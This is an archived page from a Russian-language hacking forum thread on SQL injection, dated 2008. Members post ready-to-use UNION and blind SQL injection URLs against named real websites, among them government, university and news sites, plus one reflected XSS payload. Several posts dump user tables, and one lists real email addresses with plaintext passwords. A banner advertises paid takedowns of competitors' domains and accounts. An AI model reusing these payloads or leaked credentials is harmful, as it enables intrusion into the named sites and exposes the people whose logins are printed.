УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 622 из 1242

622

Опции темы

Поиск в этой теме

Опции просмотра

#6211

07.08.2008, 20:16

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Отправить сообщение для sabe с помощью ICQ

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Valgamaa.ee - PR 5

Цитата:

http://turism.valgamaa.ee/index.php?id=2399999%20union+select+1,2,3,table_na me,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38, 39,40,41,42+from+information_schema.tables--&nfo=2

5 ver. tables

Цитата:

http://turism.valgamaa.ee/index.php?id=2399999%20union+select+1,2,3,email,pw ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,4 0,41,42+from+kasutajad--&nfo=2

Canallatino.tv - PR 4

Цитата:

http://www.canallatino.tv/x2/index.php?id=2&seccion=3&noticia=1+union+select+1, unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16

Pangkalpinang.go.id - PR 3

Цитата:

http://www.pangkalpinang.go.id/news_detail.php?news_code=-1+union+select+1,2,table_name,4,5,6,7,8+from+infor mation_schema.tables+limit+24,1/*

Elhacker.org - PR 3

Цитата:

http://www.elhacker.org/index.php?Ver=Seccion&Id=5+and+1=0+union+select+1, 2,version(),4,5,6/*

Elincom.gr

Цитата:

http://www.elincom.gr/el/page.php?id=-81+union+select+1,version()+from+users/*

Последний раз редактировалось sabe; 08.08.2008 в 07:53..

#6212

07.08.2008, 21:33

~~~!DoK_tOR!~~~

Banned

Регистрация: 10.11.2006

Сообщений: 829

Провел на форуме:
2634544

Репутация: 1559

Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ

www.edu.ru - Российское образование. Федеральный образовательный портал: учреждения, программы, стандарты

Цитата:

http://www.edu.ru/abitur/index.php?act=3&ds=1&isn=-1+union+select+@@version,2,3,4--

#6213

07.08.2008, 22:45

BanQui

Познающий

Регистрация: 10.07.2008

Сообщений: 70

Провел на форуме:
203452

Репутация: 36

Доктор слух у меня вопрос по поводу @@ - зач енто?Если влом обьяснять то скажи ссылку где проэто написано!?

#6214

07.08.2008, 22:48

$p01nt

Участник форума

Регистрация: 19.02.2008

Сообщений: 186

Провел на форуме:
584540

Репутация: 96

www.sport-moda.ru

Уязвимость в скрипте показа новостей:

http://www.sport-moda.ru/news/view_new.php?id=1'

Колонки:

http://www.sport-moda.ru/news/view_new.php?id=-286+union+select+1,2,3/*

Информация о базе:

u15055
5.0.45-log
u15055@10.10.10.131

#6215

07.08.2008, 22:48

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

BanQui
таким способом узнается версия в mssql

@@version тоже самое что и version() просто для каждой системы свои запросы )

$p01nt
жаль нельзя аватарки заливать (

Последний раз редактировалось sabe; 07.08.2008 в 23:51..

#6216

07.08.2008, 22:52

~~~!DoK_tOR!~~~

Banned

Регистрация: 10.11.2006

Сообщений: 829

Провел на форуме:
2634544

Репутация: 1559

Цитата:

Сообщение от BanQui

Доктор слух у меня вопрос по поводу @@ - зач енто?Если влом обьяснять то скажи ссылку где проэто написано!?

потому что это MSSQL в MSSQL так и узнаётся версия )

#6217

08.08.2008, 00:15

MirA

Новичок

Регистрация: 24.07.2008

Сообщений: 29

Провел на форуме:
109513

Репутация: 52

Отправить сообщение для MirA с помощью ICQ

http://www.sephiroth.it PR 4
4 ветка слепая скуль)

Цитата:

http://www.sephiroth.it/file_detail.php?id=-139+union+select+1,2,concat_ws(0x3a,version(),user (),database()),4,5,6,7,8,9,10,11

http://www.infn.it если верить гуглу,то PR 8
и опять blind...
version=5

Цитата:

http://www.infn.it/news/newsen.php?id=-390+union+select+1,2,3,4,concat_ws(0x3a,version(), user(),database()),6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35

http://www.hvar.is PR 6
version = 5 blind sql

Цитата:

http://www.hvar.is/sida.php?id=5+and+5=substring(version(),1,1)

http://www.ethics.utoronto.ca PR 5
version = 3

Цитата:

http://www.ethics.utoronto.ca/index.php?nid=20+and+substring(version(),1,1)=3/*&id=20

всем удачного вечера =) HF & GL

#6218

08.08.2008, 06:32

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Грузинские Сайты в тему:

http://www.tbilisi.gov.ge/index.php?Post=1%22%3E%20%3Cscript%3Ealert(/suki/)%3C/script%3E&sec_id=337&lang_id=DEU

Aversi.ge

Цитата:

http://www.aversi.ge/main.php?lang=geo&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,version(),17,18,19,20,21,22,23/*

Presa.ge

Цитата:

http://presa.ge/index.php?text=news&i=-1+union+select+1,2,concat_ws(0x3a,table_name),4,5, 6,7,8,9,10,11+from+information_schema.tables+limit +17,1--

5 ver. tables

Цитата:

http://presa.ge/index.php?text=news&i=-1+union+select+1,2,concat_ws(0x3a,user_username,us er_password),4,5,6,7,8,9,10,11+from+users--

Ssa.gov.ge

Цитата:

http://www.ssa.gov.ge/index.php?id=69&mid=-1+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25

Flowers.ge

Цитата:

http://www.flowers.ge/fwpopup.php?fwid=-%2015+union+select+1,2,3,concat(char(60,115,116,97 ,114,116,62),table_name,char(58),column_name,char( 60,47,115,116,97,114,116,62)),5,6,7+from+INFORMATI ON_SCHEMA.COLUMNS+limit+0,1/*

Zona.ge

Цитата:

http://site.zona.ge/movies_form.php?name=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21+from+information_schem a.tables+limit+17,1--

5 ver tables...

DVV-international.ge

Цитата:

http://dvv-international.ge/dvv/index.php?sector=view_content&catid=-1+union+select+1,unhex(hex(table_name)),3,unhex(he x(table_schema))+from+information_schema.tables/*

Group.ge

Цитата:

http://group.ge/show.php?id_series=-1+union+select+1,concat(table_name,char(58),column _name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+ information_schema.columns--

5 ver. tables

Цитата:

http://group.ge/show.php?id_series=-1+union+select+1,concat(name,char(58),pass),3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17+from+test.na_users--

admin;1234

Tvali.ge

Цитата:

http://www.tvali.ge/index.php?action=search&s=kenzo%20&limit=99999999+ union+select+1,2,table_name,4,5,6,7,8,9,10,11+from +information_schema.tables/*

5 ver. tables

Цитата:

http://www.tvali.ge/index.php?action=search&s=kenzo%20&limit=99999999+ union+select+1,2,concat_ws(0x3a,user_name,password ),4,5,6,7,8,9,10,11+from+tvali.co_user/*

Prschool.ge

Цитата:

http://www.prschool.ge/geo/news.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11,tab le_name+from+information_schema.tables--

5 ver, tables..

Цитата:

http://www.prschool.ge/geo/news.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11,con cat_ws(0x3a,username,user_password)+from+f_users--

юзеры..

Цитата:

http://www.prschool.ge/geo/news.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11,con cat_ws(0x3a,name,passwd)+from+user--

admin.. но куда это все вводить я не искал..... язык не приемлев, а так кому интересно... смотрите.. если что в ПМ.

Superfootball.ge

Цитата:

http://superfootball.ge/pl/showpredictionsformatch.php?matchid=-1+union+select+1,2,3,table_name,5,6,7+from+informa tion_schema.tables+limit+17,1--

5 ver. tabels

Цитата:

http://superfootball.ge/pl/showpredictionsformatch.php?matchid=-1+union+select+1,2,3,4,concat_ws(0x3a,username,pas sword),6,7+from+pluserdata--

Photo.ge

Цитата:

http://www.photo.ge/profile.php?pform=1'

все.. разкручивайте. ушел спать )

Последний раз редактировалось sabe; 08.08.2008 в 08:03..

#6219

08.08.2008, 11:40

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

Провел на форуме:
2805813

Репутация: 1396

завтрак:

Цитата:

http://www.arc.pdx.edu/dev/chemmap/content/mapsearch.php?getvariablename=7

Dbname:chemmap2
User:chemmap_l@bestla.oit.pdx.edu
Version:5.0.37

Цитата:

users
emailassword

sreed@pdx.edu:chemmap
class1:summer2007
class2:summer2007
nehal@pdx.edu:7623e2
amitk@pdx.edu:a9f2b8
savyak@pdx.edu:letmein

#6220

08.08.2008, 12:17

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Код:

http://orlandokids.org/latest_infoDetails.php?id=-21+union+select+1,concat_ws(char(58),version(),user(),database()),3,4/*

Код:

http://www.somachlaw.com/attorneys_bio.php?id=-12+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*

Код:

http://www.uplandsgallery.com/artists_details.php?id=-12+union+select+1,concat_ws(char(58),version(),user(),database()),3,4/*

Код:

http://www.screenroom.co.uk/php/id.asp?id=-1+union+select+1,2,user(),4,database(),version(),7,8,9,10,11,12,13--

Код:

http://www.alwg.cap.gov/index.php?menu=-90+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5/*

Код:

http://www.shoesandblues.com/lovesound/entry.php?id=-99999+union+select+1,2,concat(login,0x3a,password),4,5,6,7,8+from+users--

Код:

http://www.shoesandblues.com/lovesound/entry.php?id=-99999+union+select+1,2,concat(author,0x3a,password,0x3a,id),4,5,6,7,8+from+blog--

Код:

http://www.pogoda.ua/index.php?id=-1+union+select+1,concat_ws(0x3a,login,password,email),3,4,5+from+users/*

Код:

http://www.hcch.net/index_en.php?act=conventions.authorities&cid=-1+union+select+convert(concat_ws(0x3a,user,password)+using+latin1),2,3,4+from+mysql.user/*

Страница 622 из 1242

622

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход